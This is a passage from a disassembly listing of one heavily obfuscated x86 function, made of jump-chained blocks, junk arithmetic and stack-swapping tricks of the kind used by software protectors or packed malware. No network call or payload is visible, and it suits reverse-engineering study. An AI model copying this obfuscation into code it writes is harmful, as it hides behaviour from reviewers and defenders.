		shl	esi, 3
		and	esi, 21D50F39h
		jmp	loc_5AD2D3
; ---------------------------------------------------------------------------


loc_5B1D05:				; CODE XREF: sub_58A891+2097Fj
		jnp	loc_59D605
		add	ebx, 0E64BF044h
		mov	ebp, ebx
		push	[esp+92h+var_92]
		pop	ebx
		add	esp, 4
		mov	edx, ebp
		mov	ebp, [esp+8Eh+var_8E]
		add	esp, 4
		push	7AC2h
		mov	[esp+8Eh+var_8E], edx
		push	edx
		jmp	loc_5A6CC5
; ---------------------------------------------------------------------------


loc_5B1D33:				; CODE XREF: sub_58A891+2397Dj
		shl	bh, 5
		jmp	loc_5AC9EA
; ---------------------------------------------------------------------------


loc_5B1D3B:				; CODE XREF: sub_58A891+21141j
		mov	esi, [esp+8Ah+var_8A]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xchg	esi, [esp+8Eh+var_8E]
		jmp	loc_5A4148
; ---------------------------------------------------------------------------


loc_5B1D58:				; CODE XREF: sub_58A891+1EAECj
		add	esp, 4
		mov	dh, ah
		pop	eax
		mov	[edi+eax*4+1], dh
		mov	edx, [esp+0Ah+var_C+2]
		add	esp, 4
		jmp	loc_5A9EBD
; ---------------------------------------------------------------------------


loc_5B1D73:				; CODE XREF: sub_58A891+1ADFDj
		add	esp, 4
		jmp	loc_5B185D
; ---------------------------------------------------------------------------


loc_5B1D7E:				; CODE XREF: sub_58A891+1D0C1j
		shl	ecx, 6
		add	ecx, 4B390B81h
		jmp	loc_5A519B
; ---------------------------------------------------------------------------


loc_5B1D8C:				; CODE XREF: sub_58A891+2328Ej
		add	bh, ah
		pop	eax
		pop	edx
		xor	bh, 0CAh
		jmp	loc_5A00B5
; ---------------------------------------------------------------------------


loc_5B1D98:				; CODE XREF: sub_58A891+24162j
		pop	ecx
		sub	esp, 4
		jmp	loc_5A5E7B
; ---------------------------------------------------------------------------


loc_5B1DA1:				; CODE XREF: sub_58A891+13573j
		mov	[esp+0], eax
		mov	eax, 2791Bh
		and	eax, 75374068h
		push	edi
		mov	edi, 515B5A62h
		and	edi, 3132F68h
		or	edi, 0FC60DC9h
		jmp	loc_5A9EAD
; ---------------------------------------------------------------------------


loc_5B1DC5:				; CODE XREF: sub_58A891+2615Cj
		mov	edx, 72F933B0h
		push	205Ch
		mov	[esp+92h+var_92], esi
		push	ecx
		mov	ecx, 14824BAFh
		push	998487FBh
		pop	esi
		xor	esi, ecx
		pop	ecx
		add	edx, esi
		pop	esi
		add	ebp, 514F0E82h
		add	ebp, edx
		push	ebx
		mov	ebx, 514F0E82h
		sub	ebp, ebx
		pop	ebx
		pop	edx
		jmp	loc_5AA99D
; ---------------------------------------------------------------------------


loc_5B1DFB:				; CODE XREF: sub_58A891+227C7j
		pop	edi
		add	edx, ecx
		pop	ecx
		sub	eax, edx
		pop	edx
		push	eax
		jmp	loc_5AD2E7
; ---------------------------------------------------------------------------


loc_5B1E08:				; CODE XREF: sub_58A891+1C38Aj
		add	edx, 3154E6Ch
		shr	edx, 2
		jmp	loc_5A4D30
; ---------------------------------------------------------------------------


loc_5B1E16:				; CODE XREF: sub_58A891:loc_5A14D8j
		shr	eax, 8
		jp	loc_5A6A46
		xor	eax, 46191A17h
		jmp	loc_5B1453
; ---------------------------------------------------------------------------


loc_5B1E29:				; CODE XREF: sub_58A891+266EAj
					; sub_58A891+267F8j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B1E2E:				; CODE XREF: sub_58A891+15AD4j
		jns	loc_5ADB17
		add	ecx, 4DC761A3h
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp+94h+var_96+2]
		xor	[esp+94h+var_96+2], ebx
		xor	ebx, [esp+94h+var_96+2]
		pop	esp
		pop	[esp+90h+var_92+2]
		jmp	loc_59FC51
; ---------------------------------------------------------------------------


loc_5B1E4F:				; CODE XREF: sub_58A891+2054Ej
		add	ebp, 5530FB7Dh
		mov	eax, ebp
		pop	ebp
		sub	eax, 3F0C73D0h
		not	eax
		add	eax, 7F737DBFh
		sub	eax, 6904D569h
		add	edx, eax
		jmp	loc_5AC7E9
; ---------------------------------------------------------------------------


loc_5B1E70:				; CODE XREF: sub_58A891+1DDEEj
		mov	eax, 3FC94650h
		or	eax, 1F6E3A2Ch
		jmp	loc_5B2C70
; ---------------------------------------------------------------------------


loc_5B1E7F:				; CODE XREF: sub_58A891+1EA7Fj
		mov	eax, esp
		add	eax, 4
		jmp	loc_5AA163
; ---------------------------------------------------------------------------


loc_5B1E8B:				; CODE XREF: sub_58A891+127E8j
		push	6CFDh
		mov	[esp+7Ah+var_7A], edi
		jmp	loc_5B0456
; ---------------------------------------------------------------------------


loc_5B1E98:				; CODE XREF: sub_58A891+225D5j
		add	bl, 54h
		sub	esp, 4
		jmp	loc_5A8357
; ---------------------------------------------------------------------------


loc_5B1EA6:				; CODE XREF: sub_58A891+161CEj
		push	esi
		jmp	loc_59D06A
; ---------------------------------------------------------------------------


loc_5B1EAC:				; CODE XREF: sub_58A891+13952j
		add	ebx, ecx
		pop	ecx
		sub	ebx, esi
		sub	ebx, 294F0687h
		pop	esi
		xor	edx, eax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B1EBF:				; CODE XREF: sub_58A891+15C04j
		mov	[esp+0BAh+var_BA], edi
		jmp	loc_59FA3F
; ---------------------------------------------------------------------------


loc_5B1EC7:				; CODE XREF: sub_58A891+1657Aj
		sub	ebp, 0B2176D2h
		push	244h
		mov	[esp+34h+var_34], ecx
		mov	ecx, 6FE47196h
		or	ecx, 4F7073A4h
		jmp	loc_5A5D12
; ---------------------------------------------------------------------------


loc_5B1EE5:				; CODE XREF: sub_58A891+20138j
					; sub_58A891:loc_5B0241j
		xor	eax, ecx
		sub	esp, 4
		mov	[esp+12h+var_14+2], eax
		xchg	eax, [esp+12h+var_14+2]
		not	eax
		xchg	eax, [esp+12h+var_14+2]
		push	[esp+12h+var_14+2]
		push	[esp+16h+var_18+2]
		mov	eax, [esp+1Ah+var_1C+2]
		jmp	loc_5A7A42
; ---------------------------------------------------------------------------


loc_5B1F06:				; CODE XREF: sub_58A891+1F725j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+9Ch+var_9E+2]
		pop	esp
		inc	edx
		shr	edx, 5
		push	4C9Ch
		mov	[esp+9Ch+var_9E+2], edi
		mov	edi, 38B7226h
		jmp	loc_59D649
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+9Ch+var_9E+2]
		push	edx
		push	esp
		push	[esp+0A4h+var_A6+2]
		mov	edx, [esp+0A8h+var_AA+2]
		add	esp, 4
		jmp	loc_5B028E
; ---------------------------------------------------------------------------


loc_5B1F3C:				; CODE XREF: sub_58A891+18E72j
		xor	al, bl
		pop	ebx
		jmp	loc_5A7E78
; ---------------------------------------------------------------------------


loc_5B1F44:				; CODE XREF: sub_58A891+1286Dj
					; sub_58A891+26672j
		push	[esp+76h+var_74+2]
		jmp	loc_5A42FC
; ---------------------------------------------------------------------------


loc_5B1F4D:				; CODE XREF: sub_58A891+1A8D2j
		mov	esi, 6030CBAh
		and	esi, 7DB4174Fh
		xor	esi, 74C46778h
		sub	esi, 25790158h
		mov	ecx, esi
		pop	esi
		jmp	loc_5AFD9B
; ---------------------------------------------------------------------------


loc_5B1F6C:				; CODE XREF: sub_58A891+1BE28j
		push	edx
		mov	edx, 0ACBB0CF7h
		jmp	loc_5A7E86
; ---------------------------------------------------------------------------


loc_5B1F77:				; CODE XREF: sub_58A891+1C25Aj
		add	esp, 4
		push	3BD3h
		mov	[esp+6Eh+var_70+2], ebx
		push	edx
		mov	edx, 8316A22h
		jmp	loc_5ADA88
; ---------------------------------------------------------------------------


loc_5B1F8D:				; CODE XREF: sub_58A891+24C92j
		push	ecx
		mov	ecx, 0
		sub	ecx, edi
		jmp	loc_5A6269
; ---------------------------------------------------------------------------


loc_5B1F9A:				; CODE XREF: sub_58A891+1228Bj
					; sub_58A891+2290Dj
		mov	esp, [esp+96h+var_96]
		push	esp
		pop	[esp+9Ah+var_9A]
		add	[esp+96h+var_96], 4
		mov	edi, [esp+96h+var_96]
		add	esp, 4
		jmp	loc_5A7A62
; ---------------------------------------------------------------------------


loc_5B1FB0:				; CODE XREF: sub_58A891+11CF4j
		mov	ebp, esp
		jmp	loc_5A3137
; ---------------------------------------------------------------------------


loc_5B1FB7:				; CODE XREF: sub_58A891+27AF8j
		pop	eax
		neg	eax
		jno	loc_5A1393
		push	ebp
		jmp	loc_5A2581
; ---------------------------------------------------------------------------
		xchg	ebp, [esp+26h+var_28+2]
		pop	esp
		push	edi


loc_5B1FCB:				; CODE XREF: sub_58A891+28282j
		add	bh, 6Ch
		jmp	loc_5ADB17
; ---------------------------------------------------------------------------


loc_5B1FD3:				; CODE XREF: sub_58A891+2125Cj
		add	ecx, 2
		xchg	ecx, [esp+66h+var_68+2]
		mov	esp, [esp+66h+var_68+2]
		mul	cl
		movzx	cx, ah
		jmp	loc_5A2657
; ---------------------------------------------------------------------------


loc_5B1FE7:				; CODE XREF: sub_58A891+1E1B9j
		push	[esp+78h+var_7A+2]
		mov	eax, [esp+7Ch+var_7E+2]
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, 7BEA42ADh
		add	ebx, eax
		sub	ebx, 7BEA42ADh
		mov	eax, [esp+84h+var_86+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		jmp	loc_5A28ED
; ---------------------------------------------------------------------------


loc_5B201B:				; CODE XREF: sub_58A891+1FCDDj
		push	esi
		mov	esi, esp
		jmp	loc_5A056F
; ---------------------------------------------------------------------------


loc_5B2023:				; CODE XREF: sub_58A891+23105j
		mov	esi, 2E127F36h
		shl	esi, 6
		jz	loc_5ACB0D
		xor	esi, 49736A3Eh
		jl	loc_5A1BBD
		sub	esi, 32173B3h
		jb	loc_5ACDF7
		push	edi
		push	ebp
		pop	esi


loc_5B204C:				; CODE XREF: sub_58A891+13B97j
		push	edx
		mov	edx, esp
		jmp	loc_5A6057
; ---------------------------------------------------------------------------


loc_5B2054:				; CODE XREF: sub_58A891+1D014j
		mov	[esp+7Ch+var_7E+2], ebx
		mov	ebx, esp
		push	740Bh
		mov	[esp+80h+var_82+2], esi
		mov	esi, 4
		add	ebx, 598725Eh
		jmp	loc_5AE997
; ---------------------------------------------------------------------------


loc_5B2071:				; CODE XREF: sub_58A891:loc_5ACA62j
		shl	esi, 2
		sub	esi, 32BE38ECh
		mov	ecx, esi
		jmp	loc_5A2114
; ---------------------------------------------------------------------------


loc_5B2081:				; CODE XREF: sub_58A891+1561Fj
		xor	ebx, esi
		pop	esi
		sub	ebx, 31290996h
		jmp	loc_59FBDE
; ---------------------------------------------------------------------------


loc_5B208F:				; CODE XREF: sub_58A891+20F3Fj
		add	esp, 4
		mov	edi, edx
		push	[esp+46h+var_46]
		jmp	loc_5A8782
; ---------------------------------------------------------------------------


loc_5B209F:				; CODE XREF: sub_58A891+1C2CEj
		and	bl, 57h
		jmp	loc_5A7C2B
; ---------------------------------------------------------------------------


loc_5B20A7:				; CODE XREF: sub_58A891+16B21j
		mov	eax, [ebx]
		pop	ebx
		pop	edx
		push	0FDAh
		mov	[esp+86h+var_86], edi
		push	4D9Ch
		mov	[esp+8Ah+var_8A], edx
		mov	edx, 185175A6h
		jmp	loc_5A5649
; ---------------------------------------------------------------------------


loc_5B20C5:				; CODE XREF: sub_58A891+20116j
		push	[esp+7Eh+var_7E]
		jmp	loc_5A6A1A
; ---------------------------------------------------------------------------


loc_5B20CD:				; CODE XREF: sub_58A891+172FDj
		push	[esp+12h+var_14+2]
		jmp	loc_59F8E5
; ---------------------------------------------------------------------------


loc_5B20D5:				; CODE XREF: sub_58A891+1C22Ej
					; sub_58A891:loc_5AA897j
		xor	ebp, edx
		mov	edx, [esp+7Ch+var_7E+2]
		add	esp, 4
		jmp	loc_5A276D
; ---------------------------------------------------------------------------


loc_5B20E2:				; CODE XREF: sub_58A891+1E53Bj
					; sub_58A891+286E3j
		sub	eax, ebx
		add	eax, 492F5908h
		jmp	loc_5A6B9B
; ---------------------------------------------------------------------------


loc_5B20EE:				; CODE XREF: sub_58A891+121FFj
		and	esi, 15596311h
		sub	esi, 0F273F4Dh
		shl	esi, 3
		jmp	loc_5A66F8
; ---------------------------------------------------------------------------


loc_5B2102:				; CODE XREF: sub_58A891+1DDDAj
		pop	[esp+26h+var_28+2]
		pop	esp
		mov	[esp+1Eh+var_20+2], edx
		mov	edx, 77AC409Fh
		or	eax, edx
		jmp	loc_5AC106
; ---------------------------------------------------------------------------


loc_5B2115:				; CODE XREF: sub_58A891+18D33j
		pop	[esp+2Ah+var_2C+2]
		pop	esp
		push	edx
		mov	edx, 2C86EF6h
		or	edx, 40A338E3h
		add	edx, 73E54790h
		jl	loc_5A5631
		xor	edx, 0E202A8E2h
		inc	edx
		sub	edx, 7D5A389Ah
		xor	edx, 72E65BC2h
		push	eax
		mov	eax, 650B4AF3h
		add	edx, eax
		pop	eax
		dec	edx
		jmp	loc_5ABDB6
; ---------------------------------------------------------------------------


loc_5B2153:				; CODE XREF: sub_58A891+1D951j
		push	eax
		push	[esp+66h+var_64+2]
		pop	eax
		pop	[esp+66h+var_68+2]
		pop	esp
		add	esp, 4
		push	[esp+5Ah+var_5C+2]
		push	[esp+5Eh+var_60+2]
		mov	eax, [esp+62h+var_64+2]
		jmp	loc_5A4F1B
; ---------------------------------------------------------------------------


loc_5B2171:				; CODE XREF: sub_58A891+26D25j
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		xor	edi, [esp-0Ah+arg_0+2]
		xor	[esp-0Ah+arg_0+2], edi
		xor	edi, [esp-0Ah+arg_0+2]
		mov	esp, [esp-0Ah+arg_0+2]
		mov	eax, [esp-0Ah+arg_0+2]
		push	eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 7CFC0273h
		neg	ecx
		push	edi
		mov	edi, 43330061h
		push	eax
		mov	eax, 0F97CF958h
		sub	edi, eax
		pop	eax
		and	ecx, edi
		jmp	loc_5AD10F
; ---------------------------------------------------------------------------


loc_5B21B2:				; CODE XREF: sub_58A891+15E26j
		sub	bh, cl
		pop	ecx
		mov	ch, bh
		pop	ebx
		and	ch, 1
		and	ch, 0B2h
		push	eax
		mov	al, 80h
		jmp	loc_5AE9C8
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+7Ah+var_7A]
		push	1B2Eh
		mov	[esp+7Eh+var_7E], ebp
		sub	esp, 4
		mov	[esp+82h+var_82], esp
		add	[esp+82h+var_82], 4
		push	[esp+82h+var_82]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		push	edi
		push	ecx
		push	edi
		push	ecx
		jmp	loc_5A987A
; ---------------------------------------------------------------------------


loc_5B21F5:				; CODE XREF: sub_58A891+21D11j
		pop	esp
		jmp	loc_5AAAB4
; ---------------------------------------------------------------------------


loc_5B21FB:				; CODE XREF: sub_58A891+18C1Ej
		push	edi
		jmp	loc_5AD47F
; ---------------------------------------------------------------------------


loc_5B2201:				; CODE XREF: sub_58A891+24BB4j
		mov	ebx, 31042F17h
		push	ebx
		dec	[esp+86h+var_86]
		jmp	loc_5A9053
; ---------------------------------------------------------------------------


loc_5B220F:				; CODE XREF: sub_58A891+22D5Fj
		pop	eax
		push	5C31h
		mov	[esp+5Ah+var_5C+2], edx
		push	[esp+5Ah+var_58+2]
		push	[esp+5Eh+var_60+2]
		pop	edx
		add	esp, 4
		pop	[esp+5Ah+var_5C+2]
		mov	esp, [esp+56h+var_58+2]
		and	eax, edx
		push	[esp+56h+var_58+2]
		pop	edx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_5A22AF
; ---------------------------------------------------------------------------


loc_5B2241:				; CODE XREF: sub_58A891+19123j
		xchg	ebp, [esp+8Eh+var_8E]
		pop	esp
		jmp	loc_5A4437
; ---------------------------------------------------------------------------


loc_5B224A:				; CODE XREF: sub_58A891+25BCAj
		pop	edi
		jmp	loc_5B043D
; ---------------------------------------------------------------------------


loc_5B2250:				; CODE XREF: sub_58A891+1EDC0j
		sub	ecx, 187A1ED2h
		add	ecx, eax
		add	ecx, 187A1ED2h
		sub	esp, 4
		jmp	loc_5A3662
; ---------------------------------------------------------------------------


loc_5B2266:				; CODE XREF: sub_58A891+1B864j
		push	esi
		mov	esi, 7B2B534Eh
		sub	ebx, 338A18CEh
		jmp	loc_59F698
; ---------------------------------------------------------------------------


loc_5B2277:				; CODE XREF: sub_58A891+1899Ej
		sub	esp, 4
		jmp	loc_5AFA4C
; ---------------------------------------------------------------------------


loc_5B2282:				; CODE XREF: sub_58A891+18DD5j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp+98h+var_9A+2]
		xor	[esp+98h+var_9A+2], edx
		xor	edx, [esp+98h+var_9A+2]
		pop	esp
		jmp	loc_5A650B
; ---------------------------------------------------------------------------


loc_5B229C:				; CODE XREF: sub_58A891+1E49Fj
		pop	esi
		add	edi, 4
		xor	edi, [esp+0C6h+var_C8+2]
		xor	[esp+0C6h+var_C8+2], edi
		xor	edi, [esp+0C6h+var_C8+2]
		jmp	loc_5A9B45
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0C6h+var_C8+2]
		push	352Bh
		mov	[esp+0CAh+var_CC+2], eax
		push	esp
		mov	eax, [esp+0CEh+var_D0+2]
		jmp	loc_59C027
; ---------------------------------------------------------------------------


loc_5B22C6:				; CODE XREF: sub_58A891+15AA5j
		sub	esp, 4
		mov	[esp+98h+var_9A+2], ebx
		push	ecx
		mov	ecx, 69297358h
		shl	ecx, 2
		and	ecx, 556606CEh
		jmp	loc_5A91DA
; ---------------------------------------------------------------------------


loc_5B22E3:				; CODE XREF: sub_58A891+18FFFj
		xchg	esi, [esp+0B2h+var_B2]
		pop	esp
		add	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+0AEh+var_AE], edi
		mov	edi, 2
		add	esi, 31C12536h
		push	eax
		mov	eax, 62006A9Ah
		add	esi, eax
		pop	eax
		sub	esi, edi
		sub	esi, 62006A9Ah
		push	ebx
		mov	ebx, 31C12536h
		sub	esi, ebx
		jmp	loc_5A21E0
; ---------------------------------------------------------------------------


loc_5B2319:				; CODE XREF: sub_58A891+1C1B0j
		neg	edx
		sub	edx, 7641FF56h
		jmp	loc_5A472D
; ---------------------------------------------------------------------------


loc_5B2326:				; CODE XREF: sub_58A891+17D9Cj
		inc	esi
		jl	loc_5B00B1
		add	esi, 44797A3Ch
		neg	esi
		xor	al, 3Ch
		push	ebp


loc_5B2338:				; CODE XREF: sub_58A891+24B6Aj
		jmp	loc_5A2E42
; ---------------------------------------------------------------------------


loc_5B233D:				; CODE XREF: sub_58A891+17528j
		pop	esp
		mov	[esp+0AEh+var_AE], ebx
		mov	ebx, 1
		sub	esi, ebx
		push	[esp+0AEh+var_AE]
		pop	ebx
		add	esp, 4
		jmp	loc_5AC719
; ---------------------------------------------------------------------------


loc_5B2354:				; CODE XREF: sub_58A891+2204Bj
		mov	eax, [esp+92h+var_92]
		add	esp, 4
		jmp	loc_5AD990
; ---------------------------------------------------------------------------


loc_5B235F:				; CODE XREF: sub_58A891+144DEj
		inc	bh
		jmp	loc_5AC758
; ---------------------------------------------------------------------------
		push	3D69h
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		mov	ebx, 44EB163Fh
		shl	ebx, 8
		jmp	loc_5A6AC4
; ---------------------------------------------------------------------------


loc_5B237E:				; CODE XREF: sub_58A891+1C156j
		add	ebx, ecx
		pop	ecx
		push	esi
		push	ebx
		push	eax
		push	62345290h
		jmp	loc_5B1FB7
; ---------------------------------------------------------------------------


loc_5B238E:				; CODE XREF: sub_58A891+1EAE1j
		mov	[esp+92h+var_92], ebp
		mov	ebp, 4B375ED2h
		jmp	loc_5A6AA6
; ---------------------------------------------------------------------------


loc_5B239B:				; CODE XREF: sub_58A891+2556Bj
		pop	ebx
		jmp	loc_5B24C4
; ---------------------------------------------------------------------------


loc_5B23A1:				; CODE XREF: sub_58A891+25B55j
		push	eax
		mov	eax, esp
		jmp	loc_5AB8F7
; ---------------------------------------------------------------------------
		push	di
		jmp	loc_5A46AD
; ---------------------------------------------------------------------------


loc_5B23B0:				; CODE XREF: sub_58A891+1BA33j
		sub	ecx, 0A824880Eh
		mov	ebx, ecx
		pop	ecx
		jmp	loc_59DB47
; ---------------------------------------------------------------------------


loc_5B23BE:				; CODE XREF: sub_58A891+12708j
		push	41EFh
		mov	[esp+7Ah+var_7A], edi
		jmp	loc_5A2605
; ---------------------------------------------------------------------------


loc_5B23CB:				; CODE XREF: sub_58A891+20315j
		mov	al, 47h
		add	bl, al
		pop	eax
		sub	bl, 0A0h
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B23DF:				; CODE XREF: sub_58A891+1EC17j
		not	edx
		jmp	loc_5A3329
; ---------------------------------------------------------------------------


loc_5B23E6:				; CODE XREF: sub_58A891+26DEAj
		xor	edx, [esp+56h+var_58+2]
		mov	esp, [esp+56h+var_58+2]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B23F1:				; CODE XREF: sub_58A891+1EFE4j
		pop	esp
		mov	[esp+72h+var_74+2], ecx
		jmp	loc_5A6C2F
; ---------------------------------------------------------------------------


loc_5B23FA:				; CODE XREF: sub_58A891+131DCj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B23FF:				; CODE XREF: sub_58A891+175CAj
		mov	[esp+72h+var_74+2], esp
		jmp	loc_5A8431
; ---------------------------------------------------------------------------


loc_5B2407:				; CODE XREF: sub_58A891+166B5j
		mov	edx, 1BDD1236h
		and	edx, 4B3B5836h
		dec	edx
		sub	edx, 0B191031h
		push	eax
		jmp	loc_5A7CAB
; ---------------------------------------------------------------------------


loc_5B241F:				; CODE XREF: sub_58A891+1514Ej
		add	ebp, 5DE901EEh
		ja	loc_5B1B7E
		xor	ebp, 58933419h
		jb	loc_5AC03E
		jmp	loc_5A7971
; ---------------------------------------------------------------------------


loc_5B243C:				; CODE XREF: sub_58A891+158C5j
		xchg	edi, [esp+6Eh+var_70+2]
		jmp	loc_59CF64
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+6Eh+var_70+2]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 4
		sub	edi, ebp
		pop	ebp
		xchg	edi, [esp+72h+var_74+2]
		jmp	loc_59E2B6
; ---------------------------------------------------------------------------


loc_5B2462:				; CODE XREF: sub_58A891+12A80j
		mov	ebp, [esp-0Ah+arg_0+2]
		add	esp, 4
		pop	esi
		push	esi
		mov	esi, edi
		mov	ecx, esi
		pop	esi
		pop	edi
		sub	ebp, 7F41762h
		sub	ebp, ecx
		add	ebp, 7F41762h
		mov	ecx, [esp-16h+arg_E]
		jmp	loc_59E6DD
; ---------------------------------------------------------------------------


loc_5B2489:				; CODE XREF: sub_58A891+18235j
		mov	[esp+8Eh+var_8E], edi
		mov	edi, 3762BC5Ah
		add	ecx, 70EC187Fh
		sub	ecx, edi
		jmp	loc_5A27E8
; ---------------------------------------------------------------------------


loc_5B249E:				; CODE XREF: sub_58A891+13A20j
		add	esp, 4
		jmp	loc_59FFA0
; ---------------------------------------------------------------------------


loc_5B24A6:				; CODE XREF: sub_58A891+1E565j
		push	[esp+1Ah+var_18+2]
		push	[esp+1Eh+var_20+2]
		pop	ecx
		push	ecx
		jmp	loc_5AA772
; ---------------------------------------------------------------------------


loc_5B24B4:				; CODE XREF: sub_58A891+14D45j
		pop	ecx
		jmp	loc_5AB1DE
; ---------------------------------------------------------------------------


loc_5B24BA:				; CODE XREF: sub_58A891+25C5Ej
					; sub_58A891+272F3j
		xor	ebp, ecx
		mov	ecx, [esp+0BAh+var_BA]
		jmp	loc_5A127B
; ---------------------------------------------------------------------------


loc_5B24C4:				; CODE XREF: sub_58A891+27B0Bj
		mov	edx, [esp+0Ah+var_C+2]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A0C82
; ---------------------------------------------------------------------------


loc_5B24CF:				; CODE XREF: sub_58A891+255D1j
		add	edi, ebx
		pop	ebx
		jmp	loc_5ADD61
; ---------------------------------------------------------------------------


loc_5B24D7:				; CODE XREF: sub_58A891+14465j
					; sub_58A891+1653Ej ...
		xor	edx, ecx
		xor	ecx, edx
		not	edx
		xchg	edx, ecx
		xor	[esp+7Ah+var_7A], ecx
		xor	ecx, [esp+7Ah+var_7A]
		xor	[esp+7Ah+var_7A], ecx
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B24ED:				; CODE XREF: sub_58A891+1A1BCj
		push	edx
		push	253762B1h
		jmp	loc_5A524F
; ---------------------------------------------------------------------------


loc_5B24F8:				; CODE XREF: sub_58A891+13265j
		add	esi, 4
		add	esi, 4
		push	esi
		push	[esp-6+arg_0+2]
		pop	esi
		pop	dword ptr [esp+0]
		pop	esp
		push	[esp-0Eh+arg_4+2]
		push	[esp-0Ah+arg_0+2]
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_5A3C32
; ---------------------------------------------------------------------------
		push	1DECh
		mov	[esp+0], eax
		push	ecx
		jmp	loc_5B0579
; ---------------------------------------------------------------------------


loc_5B252B:				; CODE XREF: sub_58A891+2214Fj
		std
		push	2FB8h
		mov	[esp+1Ah+var_1C+2], esi
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], ebp
		sub	esp, 4
		mov	[esp+22h+var_24+2], edi
		push	edx
		mov	edx, 1184955h
		mov	edi, 5A1C7A85h
		xor	edi, edx
		jmp	loc_5A12D2
; ---------------------------------------------------------------------------


loc_5B2558:				; CODE XREF: sub_58A891+2546Cj
		push	esp
		pop	ebx
		push	esi
		jmp	loc_59EEFA
; ---------------------------------------------------------------------------


loc_5B2560:				; CODE XREF: sub_58A891+14B9Ej
		pop	ebx
		push	3854h
		mov	[esp+5Eh+var_60+2], ecx
		mov	ecx, 43A67522h
		push	0
		sub	[esp+62h+var_64+2], ecx
		pop	ecx
		jmp	loc_5AD4FC
; ---------------------------------------------------------------------------


loc_5B257C:				; CODE XREF: sub_58A891+18372j
		pop	esp
		jmp	loc_5AF13F
; ---------------------------------------------------------------------------


loc_5B2582:				; CODE XREF: sub_58A891+12E77j
		add	eax, 4
		jmp	loc_59C2BD
; ---------------------------------------------------------------------------


loc_5B258C:				; CODE XREF: sub_58A891+22AD4j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0Ah+var_C+2]
		pop	esp
		mov	[esp+6+var_8+2], esi
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], ecx
		mov	ecx, 0EF71C8h
		jmp	loc_5A228B
; ---------------------------------------------------------------------------


loc_5B25AF:				; CODE XREF: sub_58A891+1DB80j
		mov	ebx, 159343FFh
		and	ebx, 704B7CFEh
		push	996h
		mov	[esp+36h+var_38+2], edi
		mov	edi, 64201434h
		add	edi, 3D317568h
		jnp	loc_5B13BE
		shl	edi, 1
		jnz	loc_5A85B5
		jmp	loc_5A0E10
; ---------------------------------------------------------------------------
		xor	ebx, 278F12B3h
		and	ecx, ebx
		mov	bl, cl


loc_5B25EA:				; CODE XREF: sub_58A891+26D71j
		add	edi, 44AB5829h
		jmp	loc_5A94F4
; ---------------------------------------------------------------------------


loc_5B25F5:				; CODE XREF: sub_58A891+159ABj
		mov	edi, [esp+0Eh+var_10+2]
		add	esp, 4
		add	edx, 4
		xor	edx, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], edx
		xor	edx, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		shr	ecx, 0
		or	eax, eax
		jz	loc_59C89D
		push	3C90h
		jmp	loc_5A3A75
; ---------------------------------------------------------------------------


loc_5B2622:				; CODE XREF: sub_58A891+1E7AFj
		push	ebx
		mov	ebx, 460D7298h
		jmp	loc_5A3362
; ---------------------------------------------------------------------------


loc_5B262D:				; CODE XREF: sub_58A891+23A30j
		jns	loc_5AE9D7
		jmp	loc_5A9636
; ---------------------------------------------------------------------------
		pop	ecx
		add	al, 53h
		sub	al, dh


loc_5B263D:				; CODE XREF: sub_58A891+24ABFj
		mov	ebp, 3A6E2B71h
		sub	ebp, 0D851C1Ch
		sub	ebx, 195A5623h
		sub	ebx, ebp
		add	ebx, 195A5623h
		pop	ebp
		add	ebx, edx
		jmp	loc_59E823
; ---------------------------------------------------------------------------


loc_5B265E:				; CODE XREF: sub_58A891+194D6j
		or	dh, 26h
		not	dh
		push	eax
		push	0D9Ch
		mov	[esp+4Ch+var_4E+2], ecx
		mov	cl, 8Dh
		mov	ah, cl
		jmp	loc_5AE2C6
; ---------------------------------------------------------------------------


loc_5B2675:				; CODE XREF: sub_58A891+1E934j
		add	esp, 4
		push	2957h
		mov	[esp+8Ah+var_8A], ebx
		push	1F3070A4h
		pop	ebx
		sub	ebx, 76D64B5Bh
		xchg	esi, ebx
		push	esi
		push	ebp
		jmp	loc_59CC16
; ---------------------------------------------------------------------------


loc_5B2698:				; CODE XREF: sub_58A891+20BA6j
		sub	esi, 4A215FD3h
		add	esi, eax
		add	esi, 4A215FD3h
		jmp	loc_5A8226
; ---------------------------------------------------------------------------


loc_5B26AB:				; CODE XREF: sub_58A891+212E2j
		add	edi, 4
		jmp	loc_5B2865
; ---------------------------------------------------------------------------


loc_5B26B6:				; CODE XREF: sub_58A891+2353Aj
		push	[esp+12h+var_14+2]
		pop	ebp
		sub	esp, 4
		jmp	loc_5A80EA
; ---------------------------------------------------------------------------


